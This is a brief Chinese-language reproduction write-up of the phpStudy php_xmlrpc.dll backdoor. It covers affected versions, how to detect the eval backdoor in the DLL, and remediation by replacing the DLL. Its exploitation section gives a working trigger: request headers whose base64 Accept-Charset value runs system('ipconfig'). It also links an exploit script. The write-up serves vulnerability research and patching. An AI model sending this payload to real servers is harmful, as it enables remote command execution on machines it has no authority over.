­

集成環境phpstudy後門利用復現

  • 2019 年 10 月 8 日
  • 筆記

0x00 簡介


phpStudy是一個PHP調試環境的程序集成包。該程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安裝,無須配置即可使用,是非常方便、好用的PHP調試環境

0x01 漏洞概述


使用廣泛的PHP環境集成程序包phpStudy被公告疑似遭遇供應鏈攻擊,程序包自帶PHP的php_xmlrpc.dll模塊隱藏有後門(來自雷神眾測)

0x02 影響版本


phpStudy20161103版本:

php5.4.45與php5.2.17

phpStudy20180211版本:

php5.4.45與php5.2.17

0x03 環境搭建


公眾號回復「phpstudy環境」,解壓後無腦安裝即可

0x04 漏洞利用


首先檢測後門是否存在,後門位置:

phpstudyPHPTutorialphpphp-5.2.17ext

phpstudyPHPTutorialphpphp-5.4.45ext

找到目錄下的php_xmlrpc.dll文件,用文本打開,搜索eval關鍵字:

如圖所示,可判斷存在後門

然後用存在漏洞的PHP版本進行啟動服務,我使用的是5.4.45,切換版本的位置如圖

然後隨意訪問一個php文件,攔截數據包,添加如下的請求頭字段:

accept-Encoding中逗號後面的空格要去掉

Accept-Charset為system('ipconfig')的base64編碼

accept-Encoding:gzip,deflate  Accept-Charset:c3lzdGVtKCdpcGNvbmZpZycpOw==

repeater重放數據包,成功觸發後門:

0x05 修復方式


從PHP官網下載原始php-5.4.45版本或php-5.2.17版本,替換其中的php_xmlrpc.dll,下載地址:

https://windows.php.net/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip

https://windows.php.net/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip

檢測工具:

https://www.xp.cn/zijian/

後門利用腳本:

https://github.com/NS-Sp4ce/PHPStudy_BackDoor_Exp

參考鏈接:

https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w